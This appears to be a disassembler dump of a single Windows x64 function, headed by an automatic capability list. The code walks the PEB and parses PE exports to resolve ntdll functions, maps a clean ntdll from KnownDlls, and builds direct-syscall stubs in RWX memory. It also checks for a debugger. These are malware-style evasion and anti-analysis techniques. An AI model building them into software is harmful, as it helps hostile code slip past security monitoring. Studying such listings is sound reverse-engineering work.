Function at 0x1400aaba0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check for peb beingdebugged flag
Check os version
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via indirect call
Get number of processors
Parse pe header
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4d8]
sub rsp, 0x5d8
mov r15, qword gs:[0x60]
mov rax, qword [r15 + 0x18]
add rax, 0x20
xor ecx, ecx
mov rsi, qword [rax]
cmp rsi, rax
je 0x1400aac52
nop dword [rax + rax]
cmp qword [rsi + 0x50], 0
je 0x1400aac42
mov rax, qword [rsi + 0x20]
movsxd r14, dword [rax + 0x3c]
add r14, rax
mov edi, ecx
movzx eax, word [r14 + 0x14]
lea rbx, [r14 + 0x24]
add rbx, rax
mov ecx, dword [rbx]
add rcx, qword [rsi + 0x20]
mov r8d, 0x30
lea rdx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400aac31
cmp dword [rbp + 0x40], 0x1000
jne 0x1400aac31
test dword [rbp + 0x44], 0x100
jne 0x1400aae2d
inc edi
add rbx, 0x28
movzx eax, word [r14 + 6]
cmp edi, eax
jle 0x1400aac00
xor ecx, ecx
mov rax, qword [r15 + 0x18]
add rax, 0x20
mov rsi, qword [rsi]
cmp rsi, rax
jne 0x1400aabe0
xor dl, dl
mov dword [rbp - 0x70], 0x4271467d
mov dword [rbp - 0x6c], 0x735e4b59
mov dword [rbp - 0x68], 0x555253
mov byte [rbp - 0x64], 1
xor r15d, r15d
mov ecx, r15d
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x34]
xor byte [rbp + rcx - 0x70], al
inc rcx
cmp rcx, 0xb
jb 0x1400aac80
mov byte [rbp - 0x64], r15b
mov byte [rbp + 0xf0], dl
lea rax, [rbp - 0x70]
mov qword [rbp + 0xf8], rax
mov qword [rbp - 0x30], r15
mov dword [rsp + 0x60], 0xb8
mov dword [rsp + 0x64], 0xd18b4c00
mov word [rsp + 0x68], 0x50f
mov byte [rsp + 0x6a], 0xc3
mov qword [rbp - 0x38], r15
mov qword [rbp + 0x530], r15
mov qword [rbp - 0x28], r15
mov dword [rbp + 0x24], r15d
mov dword [rbp + 0x3c], r15d
lea rdi, [rbp + 0x1b0]
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rax, [rbp + 0x1b0]
cmp word [rbp + 0x1b0], r15w
je 0x1400aad0a
nop dword [rax]
add rax, 2
cmp word [rax], r15w
jne 0x1400aad00
mov r13d, 0x5c
movzx ecx, r13w
lea rdx, str.KnownDlls_
sub rdx, rax
nop
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x1400aad20
mov word [rax], r15w
lea rax, [rbp + 0x1b0]
cmp word [rbp + 0x1b0], r15w
je 0x1400aad4f
add rax, 2
cmp word [rax], r15w
jne 0x1400aad45
mov ecx, 0x6e
lea rdx, [0x14013d920]
sub rdx, rax
nop
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x1400aad60
mov word [rax], r15w
lea rax, [rbp + 0x1b0]
mov ecx, r15d
cmp word [rbp + 0x1b0], r15w
je 0x1400aad9c
nop dword [rax + rax]
inc ecx
lea rax, [rax + 2]
cmp word [rax], r15w
jne 0x1400aad90
add cx, cx
mov word [rbp + 0xb0], cx
add cx, 2
mov word [rbp + 0xb2], cx
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0xb8], rax
movaps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp - 0x20], xmm0
mov dword [rbp + 0x20], 0x30
mov qword [rbp + 0x28], r15
mov dword [rbp + 0x38], 0x40
lea rax, [rbp - 0x20]
mov qword [rbp + 0x30], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x40], xmm0
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400aae38
nop dword [rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400aae23
call fcn.1400a7710
test rax, rax
jne 0x1400aae34
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400aae10
jmp 0x1400aae38
mov dl, 1
jmp 0x1400aac54
lea r14, [rdi - 0x10]
mov r8, qword [r14 + 0x30]
mov eax, 0x5a4d
lea rsi, str.ZwOpenSection
test r8, r8
je 0x1400aaed1
cmp word [r8], ax
jne 0x1400aaed1
mov eax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x1400aaed1
mov eax, dword [rax + r8 + 0x88]
add rax, r8
je 0x1400aaed1
mov edi, dword [rax + 0x20]
add rdi, r8
mov r11d, dword [rax + 0x24]
add r11, r8
mov ebx, dword [rax + 0x1c]
add rbx, r8
mov r9d, r15d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x1400aaed1
mov edx, dword [rdi]
add rdx, r8
mov rax, rsi
je 0x1400aaec5
movzx ecx, byte [rdx]
cmp cl, 0x5a
jne 0x1400aaec1
sub rdx, rsi
test cl, cl
je 0x1400aaebc
cmp byte [rax], r15b
je 0x1400aaec1
inc rax
movzx ecx, byte [rdx + rax]
cmp cl, byte [rax]
je 0x1400aaea6
jmp 0x1400aaec1
cmp byte [rax], r15b
je 0x1400aaf0d
cmp cl, byte [rax]
je 0x1400aaf0d
inc r9d
add rdi, 4
cmp r9d, r10d
jb 0x1400aae91
mov r12, r15
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400aaf22
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400aaf03
call fcn.1400a7710
test rax, rax
jne 0x1400aaf1e
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400aaef0
jmp 0x1400aaf22
movsxd rax, r9d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r8
jmp 0x1400aaed4
lea r14, [rdi - 0x10]
mov r8, qword [r14 + 0x30]
lea rsi, str.ZwMapViewOfSection
test r8, r8
je 0x1400aafd4
mov eax, 0x5a4d
cmp word [r8], ax
jne 0x1400aafd4
mov eax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x1400aafd4
mov eax, dword [rax + r8 + 0x88]
add rax, r8
je 0x1400aafd4
mov edi, dword [rax + 0x20]
add rdi, r8
mov r11d, dword [rax + 0x24]
add r11, r8
mov ebx, dword [rax + 0x1c]
add rbx, r8
mov r9d, r15d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x1400aafd4
mov edx, dword [rdi]
add rdx, r8
mov rax, rsi
je 0x1400aafb7
movzx ecx, byte [rdx]
cmp cl, 0x5a
jne 0x1400aafb3
sub rdx, rsi
test cl, cl
je 0x1400aafae
cmp byte [rax], r15b
je 0x1400aafb3
inc rax
movzx ecx, byte [rdx + rax]
cmp cl, byte [rax]
je 0x1400aaf98
jmp 0x1400aafb3
cmp byte [rax], r15b
je 0x1400aafc5
cmp cl, byte [rax]
je 0x1400aafc5
inc r9d
add rdi, 4
cmp r9d, r10d
jb 0x1400aaf83
jmp 0x1400aafd4
movsxd rax, r9d
movzx ecx, word [r11 + rax*2]
mov r15d, dword [rbx + rcx*4]
add r15, r8
xor r9d, r9d
mov r14d, r9d
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400ab014
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400ab006
call fcn.1400a7710
test rax, rax
jne 0x1400ab010
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400aaff3
jmp 0x1400ab014
lea r14, [rdi - 0x10]
mov r8, qword [r14 + 0x30]
lea r14, str.NtClose
test r8, r8
je 0x1400ab141
mov eax, 0x5a4d
cmp word [r8], ax
jne 0x1400ab141
mov eax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x1400ab141
mov eax, dword [rax + r8 + 0x88]
add rax, r8
je 0x1400ab141
mov edi, dword [rax + 0x20]
add rdi, r8
mov r11d, dword [rax + 0x24]
add r11, r8
mov ebx, dword [rax + 0x1c]
add rbx, r8
xor esi, esi
mov r9d, esi
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x1400ab141
nop
mov edx, dword [rdi]
add rdx, r8
mov rax, r14
je 0x1400ab0b4
movzx ecx, byte [rdx]
cmp cl, 0x4e
jne 0x1400ab0b0
sub rdx, r14
test cl, cl
je 0x1400ab0ab
cmp byte [rax], sil
je 0x1400ab0b0
inc rax
movzx ecx, byte [rdx + rax]
cmp cl, byte [rax]
je 0x1400ab095
jmp 0x1400ab0b0
cmp byte [rax], sil
je 0x1400ab0c2
cmp cl, byte [rax]
je 0x1400ab0c2
inc r9d
add rdi, 4
cmp r9d, r10d
jb 0x1400ab080
jmp 0x1400ab141
movsxd rax, r9d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r8
je 0x1400ab141
test r15, r15
je 0x1400ab141
test r12, r12
je 0x1400ab141
lea r8, [rbp + 0x20]
mov edx, 4
lea rcx, [rbp + 0x530]
call r12
test eax, eax
js 0x1400ab141
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], 1
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp - 0x38]
lea rdx, [r9 - 1]
mov rcx, qword [rbp + 0x530]
call r15
test eax, eax
js 0x1400ab141
mov rcx, qword [rbp + 0x530]
test rcx, rcx
je 0x1400ab141
call rdi
xor r15d, r15d
mov r14d, r15d
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400ab181
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400ab173
call fcn.1400a7710
test rax, rax
jne 0x1400ab17d
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400ab160
jmp 0x1400ab181
lea r14, [rdi - 0x10]
mov r14, qword [r14 + 0x30]
mov edi, 0x19
lea edx, [rdi - 2]
lea r8d, [rdi - 3]
lea rbx, str.NtQueryInformationProcess
lea r12, str.ZwUnmapViewOfSection
mov rsi, qword [rbp - 0x38]
test rsi, rsi
je 0x1400ab338
test r14, r14
je 0x1400ab338
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x1400ab248
mov eax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400ab248
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400ab248
mov edi, dword [rax + 0x20]
add rdi, rsi
mov r10d, dword [rax + 0x24]
add r10, rsi
mov r11d, dword [rax + 0x1c]
add r11, rsi
mov r8d, r15d
mov r9d, dword [rax + 0x14]
test r9d, r9d
je 0x1400ab248
nop dword [rax + rax]
mov edx, dword [rdi]
add rdx, rsi
mov rax, rbx
je 0x1400ab23c
movzx ecx, byte [rdx]
cmp cl, 0x4e
jne 0x1400ab234
sub rdx, rbx
test cl, cl
je 0x1400ab22b
cmp byte [rax], r15b
je 0x1400ab234
inc rax
movzx ecx, byte [rdx + rax]
cmp cl, byte [rax]
je 0x1400ab215
jmp 0x1400ab234
cmp byte [rax], r15b
je 0x1400ab2cb
cmp cl, byte [rax]
je 0x1400ab2cb
inc r8d
add rdi, 4
cmp r8d, r9d
jb 0x1400ab200
mov rbx, r15
mov ecx, 0x5a4d
cmp word [r14], cx
jne 0x1400ab2f4
mov eax, dword [r14 + 0x3c]
cmp dword [rax + r14], 0x4550
jne 0x1400ab2f4
mov eax, dword [rax + r14 + 0x88]
add rax, r14
je 0x1400ab2f4
mov edi, dword [rax + 0x20]
add rdi, r14
mov r10d, dword [rax + 0x24]
add r10, r14
mov r11d, dword [rax + 0x1c]
add r11, r14
mov r8d, r15d
mov r9d, dword [rax + 0x14]
test r9d, r9d
je 0x1400ab2f4
nop dword [rax]
mov edx, dword [rdi]
add rdx, r14
mov rax, r12
je 0x1400ab2e8
movzx ecx, byte [rdx]
cmp cl, 0x5a
jne 0x1400ab2e4
sub rdx, r12
test cl, cl
je 0x1400ab2df
cmp byte [rax], r15b
je 0x1400ab2e4
inc rax
movzx ecx, byte [rdx + rax]
cmp cl, byte [rax]
je 0x1400ab2b5
jmp 0x1400ab2e4
movsxd rax, r8d
movzx ecx, word [r10 + rax*2]
mov ebx, dword [r11 + rcx*4]
add rbx, rsi
jmp 0x1400ab24b
cmp byte [rax], r15b
je 0x1400ab30a
cmp cl, byte [rax]
je 0x1400ab30a
inc r8d
add rdi, 4
cmp r8d, r9d
jb 0x1400ab2a0
mov rax, r15
mov rdx, rsi
mov rcx, 0xffffffffffffffff
test rbx, rbx
jne 0x1400ab31b
call rax
jmp 0x1400ab32b
movsxd rax, r8d
movzx ecx, word [r10 + rax*2]
mov eax, dword [r11 + rcx*4]
add rax, r14
jmp 0x1400ab2f7
movzx ebx, word [rbx + 4]
call rax
mov word [rsp + 0x50], bx
test bx, bx
jne 0x1400ab37b
mov r8d, socket
lea edi, [r8 + 3]
lea edx, [rdi - 2]
mov al, byte [0x7ffe026c]
cmp al, 0xa
je 0x1400ab373
cmp al, 6
jne 0x1400ab36d
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x1400ab36d
sub ecx, 1
je 0x1400ab363
cmp ecx, 1
jne 0x1400ab373
lea ebx, [rcx + 0x17]
jmp 0x1400ab376
movzx ebx, dx
mov word [rsp + 0x50], dx
jmp 0x1400ab37b
movzx ebx, r8w
jmp 0x1400ab376
movzx ebx, di
mov word [rsp + 0x50], bx
mov edx, 0x1024
xor ecx, ecx
lea r9d, [rcx + 0x40]
lea r8d, [rdx - 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov r14d, 0xb
mov qword [rbp + 0xb0], r14
test rax, rax
je 0x1400ab47f
lea rcx, [rsp + 0x61]
lea rax, [rsp + 0x50]
cmp rcx, rax
jbe 0x1400ab3c2
lea rcx, [rsp + 0x61]
lea rax, [rsp + 0x52]
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x62], al
mov byte [rsp + 0x61], bl
lea rcx, [rsp + 0x60]
cmp rdi, rcx
jbe 0x1400ab3e0
lea rcx, [rsp + 0x6b]
nop
mov dword [rdi + 7], 0xc3050fd1
mov dword [rdi + 3], 0x8b4c0000
mov byte [rdi + 2], al
mov byte [rdi + 1], bl
mov byte [rdi], 0xb8
mov qword [rsp + 0x20], r15
mov r9d, 8
lea r8, [rbp - 0x30]
lea edx, [r9 - 1]
mov rcx, 0xffffffffffffffff
call rdi
mov esi, eax
mov r11, r14
mov r8, rdi
lea rbx, [rsp + 0x60]
sub rbx, rdi
movzx r9d, byte [r8]
movzx r10d, byte [rbx + r8]
lea eax, [r10 - 0x61]
lea edx, [r10 - 0x20]
cmp eax, 0x19
cmova edx, r10d
lea eax, [r9 - 0x61]
lea ecx, [r9 - 0x20]
cmp eax, 0x19
cmova ecx, r9d
cmp ecx, edx
jne 0x1400ab476
inc r8
sub r11, 1
jne 0x1400ab423
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
js 0x1400ab47f
cmp qword [rbp - 0x30], r15
je 0x1400ab47f
mov dl, 1
jmp 0x1400ab481
cmp r9d, r10d
je 0x1400ab457
mov dl, 1
jmp 0x1400ab481
xor dl, dl
mov dword [rbp - 0x63], 0x5272467d
mov dword [rbp - 0x5f], 0x6b5d4c5a
mov dword [rbp - 0x5b], 0x4a4f53
mov byte [rbp - 0x57], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x34]
xor byte [rbp + rcx - 0x63], al
inc rcx
cmp rcx, r14
jb 0x1400ab4a0
mov byte [rbp - 0x57], r15b
mov byte [rbp + 0x100], dl
lea rax, [rbp - 0x63]
mov qword [rbp + 0x108], rax
mov dword [rbp + 0x520], r15d
mov dword [rsp + 0x70], 0xb8
mov dword [rsp + 0x74], 0xd18b4c00
mov word [rsp + 0x78], 0x50f
mov byte [rsp + 0x7a], 0xc3
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x28], r15
mov dword [rbp + 0x24], r15d
mov dword [rbp + 0x3c], r15d
lea rdi, [rbp + 0x1b0]
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rax, [rbp + 0x1b0]
cmp word [rbp + 0x1b0], r15w
je 0x1400ab52a
nop dword [rax]
add rax, 2
cmp word [rax], r15w
jne 0x1400ab520
movzx ecx, r13w
lea rdx, str.KnownDlls_
sub rdx, rax
nop dword [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x1400ab540
mov word [rax], r15w
lea rax, [rbp + 0x1b0]
cmp word [rbp + 0x1b0], r15w
je 0x1400ab56f
add rax, 2
cmp word [rax], r15w
jne 0x1400ab565
mov ecx, 0x6e
lea rdx, [0x14013d920]
sub rdx, rax
nop
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x1400ab580
mov word [rax], r15w
lea rax, [rbp + 0x1b0]
mov ecx, r15d
cmp word [rbp + 0x1b0], r15w
je 0x1400ab5bc
nop dword [rax + rax]
inc ecx
lea rax, [rax + 2]
cmp word [rax], r15w
jne 0x1400ab5b0
add cx, cx
mov word [rbp - 0x20], cx
add cx, 2
mov word [rbp - 0x1e], cx
lea rax, [rbp + 0x1b0]
mov qword [rbp - 0x18], rax
movaps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x20], xmm0
mov dword [rbp + 0x20], 0x30
mov qword [rbp + 0x28], r15
mov dword [rbp + 0x38], 0x40
lea rax, [rbp - 0x20]
mov qword [rbp + 0x30], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x40], xmm0
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400ab641
nop dword [rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400ab633
call fcn.1400a7710
test rax, rax
jne 0x1400ab63d
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400ab620
jmp 0x1400ab641
lea r14, [rdi - 0x10]
mov r8, qword [r14 + 0x30]
test r8, r8
je 0x1400ab6e0
mov eax, 0x5a4d
cmp word [r8], ax
jne 0x1400ab6e0
mov eax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x1400ab6e0
mov eax, dword [rax + r8 + 0x88]
add rax, r8
je 0x1400ab6e0
mov edi, dword [rax + 0x20]
add rdi, r8
mov r11d, dword [rax + 0x24]
add r11, r8
mov ebx, dword [rax + 0x1c]
add rbx, r8
mov r9d, r15d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x1400ab6e0
lea rsi, str.ZwOpenSection
nop
mov edx, dword [rdi]
add rdx, r8
mov rax, rsi
je 0x1400ab6d4
movzx ecx, byte [rdx]
cmp cl, 0x5a
jne 0x1400ab6d0
sub rdx, rsi
test cl, cl
je 0x1400ab6cb
cmp byte [rax], r15b
je 0x1400ab6d0
inc rax
movzx ecx, byte [rdx + rax]
cmp cl, byte [rax]
je 0x1400ab6b5
jmp 0x1400ab6d0
cmp byte [rax], r15b
je 0x1400ab71d
cmp cl, byte [rax]
je 0x1400ab71d
inc r9d
add rdi, 4
cmp r9d, r10d
jb 0x1400ab6a0
mov r12, r15
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400ab732
nop
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400ab713
call fcn.1400a7710
test rax, rax
jne 0x1400ab72e
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400ab700
jmp 0x1400ab732
movsxd rax, r9d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r8
jmp 0x1400ab6e3
lea r14, [rdi - 0x10]
mov r8, qword [r14 + 0x30]
test r8, r8
je 0x1400ab7f1
mov eax, 0x5a4d
cmp word [r8], ax
jne 0x1400ab7f1
mov eax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x1400ab7f1
mov eax, dword [rax + r8 + 0x88]
add rax, r8
je 0x1400ab7f1
mov edi, dword [rax + 0x20]
add rdi, r8
mov r11d, dword [rax + 0x24]
add r11, r8
mov ebx, dword [rax + 0x1c]
add rbx, r8
mov r9d, r15d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x1400ab7f1
lea rsi, str.ZwMapViewOfSection
nop word [rax + rax]
mov edx, dword [rdi]
add rdx, r8
mov rax, rsi
je 0x1400ab7d4
movzx ecx, byte [rdx]
cmp cl, 0x5a
jne 0x1400ab7d0
sub rdx, rsi
test cl, cl
je 0x1400ab7cb
cmp byte [rax], r15b
je 0x1400ab7d0
inc rax
movzx ecx, byte [rax + rdx]
cmp cl, byte [rax]
je 0x1400ab7b5
jmp 0x1400ab7d0
cmp byte [rax], r15b
je 0x1400ab7e2
cmp cl, byte [rax]
je 0x1400ab7e2
inc r9d
add rdi, 4
cmp r9d, r10d
jb 0x1400ab7a0
jmp 0x1400ab7f1
movsxd rax, r9d
movzx ecx, word [r11 + rax*2]
mov r15d, dword [rbx + rcx*4]
add r15, r8
xor r9d, r9d
mov r14d, r9d
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400ab831
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400ab823
call fcn.1400a7710
test rax, rax
jne 0x1400ab82d
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400ab810
jmp 0x1400ab831
lea r14, [rdi - 0x10]
mov r8, qword [r14 + 0x30]
test r8, r8
je 0x1400ab958
mov eax, 0x5a4d
cmp word [r8], ax
jne 0x1400ab958
mov eax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x1400ab958
mov eax, dword [rax + r8 + 0x88]
add rax, r8
je 0x1400ab958
mov edi, dword [rax + 0x20]
add rdi, r8
mov r11d, dword [rax + 0x24]
add r11, r8
mov ebx, dword [rax + 0x1c]
add rbx, r8
xor esi, esi
mov r9d, esi
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x1400ab958
lea r14, str.NtClose
nop dword [rax]
mov edx, dword [rdi]
add rdx, r8
mov rax, r14
je 0x1400ab8d4
movzx ecx, byte [rdx]
cmp cl, 0x4e
jne 0x1400ab8d0
sub rdx, r14
test cl, cl
je 0x1400ab8cb
cmp byte [rax], sil
je 0x1400ab8d0
inc rax
movzx ecx, byte [rax + rdx]
cmp cl, byte [rax]
je 0x1400ab8b5
jmp 0x1400ab8d0
cmp byte [rax], sil
je 0x1400ab8e2
cmp cl, byte [rax]
je 0x1400ab8e2
inc r9d
add rdi, 4
cmp r9d, r10d
jb 0x1400ab8a0
jmp 0x1400ab958
movsxd rax, r9d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r8
je 0x1400ab958
test r15, r15
je 0x1400ab958
test r12, r12
je 0x1400ab958
lea r8, [rbp + 0x20]
mov edx, 4
lea rcx, [rbp - 0x38]
call r12
test eax, eax
js 0x1400ab958
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], 1
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp - 0x30]
lea rdx, [r9 - 1]
mov rcx, qword [rbp - 0x38]
call r15
test eax, eax
js 0x1400ab958
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x1400ab958
call rdi
xor r15d, r15d
mov r14d, r15d
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400ab998
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400ab98a
call fcn.1400a7710
test rax, rax
jne 0x1400ab994
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400ab977
jmp 0x1400ab998
lea r14, [rdi - 0x10]
mov r14, qword [r14 + 0x30]
mov rsi, qword [rbp - 0x30]
test rsi, rsi
je 0x1400abb2b
test r14, r14
je 0x1400abb2b
mov r12d, 0x5a4d
cmp word [rsi], r12w
jne 0x1400aba49
mov eax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400aba49
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400aba49
mov edi, dword [rax + 0x20]
add rdi, rsi
mov r10d, dword [rax + 0x24]
add r10, rsi
mov r11d, dword [rax + 0x1c]
add r11, rsi
mov r8d, r15d
mov r9d, dword [rax + 0x14]
test r9d, r9d
je 0x1400aba49
lea rbx, str.NtQueryInformationProcess
mov edx, dword [rdi]
add rdx, rsi
mov rax, rbx
je 0x1400aba3d
movzx ecx, byte [rdx]
cmp cl, 0x4e
jne 0x1400aba35
sub rdx, rbx
test cl, cl
je 0x1400aba2c
cmp byte [rax], r15b
je 0x1400aba35
inc rax
movzx ecx, byte [rax + rdx]
cmp cl, byte [rax]
je 0x1400aba16
jmp 0x1400aba35
cmp byte [rax], r15b
je 0x1400abacb
cmp cl, byte [rax]
je 0x1400abacb
inc r8d
add rdi, 4
cmp r8d, r9d
jb 0x1400aba01
mov rbx, r15
cmp word [r14], r12w
jne 0x1400abaf4
mov eax, dword [r14 + 0x3c]
cmp dword [rax + r14], 0x4550
jne 0x1400abaf4
mov eax, dword [rax + r14 + 0x88]
add rax, r14
je 0x1400abaf4
mov edi, dword [rax + 0x20]
add rdi, r14
mov r10d, dword [rax + 0x24]
add r10, r14
mov r11d, dword [rax + 0x1c]
add r11, r14
mov r8d, r15d
mov r9d, dword [rax + 0x14]
test r9d, r9d
je 0x1400abaf4
lea r12, str.ZwUnmapViewOfSection
mov edx, dword [rdi]
add rdx, r14
mov rax, r12
je 0x1400abae8
movzx ecx, byte [rdx]
cmp cl, 0x5a
jne 0x1400abae4
sub rdx, r12
test cl, cl
je 0x1400abadf
cmp byte [rax], r15b
je 0x1400abae4
inc rax
movzx ecx, byte [rax + rdx]
cmp cl, byte [rax]
je 0x1400abab5
jmp 0x1400abae4
movsxd rax, r8d
movzx ecx, word [r10 + rax*2]
mov ebx, dword [r11 + rcx*4]
add rbx, rsi
jmp 0x1400aba4c
cmp byte [rax], r15b
je 0x1400abb0a
cmp cl, byte [rax]
je 0x1400abb0a
inc r8d
add rdi, 4
cmp r8d, r9d
jb 0x1400abaa0
mov rax, r15
mov rdx, rsi
mov rcx, 0xffffffffffffffff
test rbx, rbx
jne 0x1400abb1b
call rax
jmp 0x1400abb2b
movsxd rax, r8d
movzx ecx, word [r10 + rax*2]
mov eax, dword [r11 + rcx*4]
add rax, r14
jmp 0x1400abaf7
movzx ebx, word [rbx + 4]
call rax
mov word [rsp + 0x54], bx
test bx, bx
jne 0x1400abb6e
mov al, byte [0x7ffe026c]
cmp al, 0xa
je 0x1400abb64
cmp al, 6
jne 0x1400abb5d
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x1400abb5d
sub ecx, 1
je 0x1400abb56
cmp ecx, 1
jne 0x1400abb64
lea ebx, [rcx + 0x17]
jmp 0x1400abb69
mov ebx, reloc.WS2_32.dll_socket
jmp 0x1400abb69
mov ebx, socket
jmp 0x1400abb69
mov ebx, 0x19
mov word [rsp + 0x54], bx
mov edx, 0x1024
xor ecx, ecx
lea r9d, [rcx + 0x40]
lea r8d, [rdx - 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1400abc7f
lea rcx, [rsp + 0x71]
lea rax, [rsp + 0x54]
cmp rcx, rax
jbe 0x1400abbb0
lea rcx, [rsp + 0x71]
lea rax, [rsp + 0x56]
nop dword [rax + rax]
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x72], al
mov byte [rsp + 0x71], bl
lea rcx, [rsp + 0x70]
cmp rdi, rcx
jbe 0x1400abbd0
lea rcx, [rsp + 0x7b]
nop dword [rax]
mov dword [rdi + 7], 0xc3050fd1
mov dword [rdi + 3], 0x8b4c0000
mov byte [rdi + 2], al
mov byte [rdi + 1], bl
mov byte [rdi], 0xb8
mov qword [rsp + 0x20], r15
mov r9d, 4
lea r8, [rbp + 0x520]
lea edx, [r9 + 0x1b]
mov rcx, 0xffffffffffffffff
call rdi
mov esi, eax
mov r11d, 0xb
mov r8, rdi
lea rbx, [rsp + 0x70]
sub rbx, rdi
nop dword [rax]
movzx r9d, byte [r8]
movzx r10d, byte [r8 + rbx]
lea eax, [r10 - 0x61]
lea edx, [r10 - 0x20]
cmp eax, 0x19
cmova edx, r10d
lea eax, [r9 - 0x61]
lea ecx, [r9 - 0x20]
cmp eax, 0x19
cmova ecx, r9d
cmp ecx, edx
jne 0x1400abc76
inc r8
sub r11, 1
jne 0x1400abc20
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
jne 0x1400abc7f
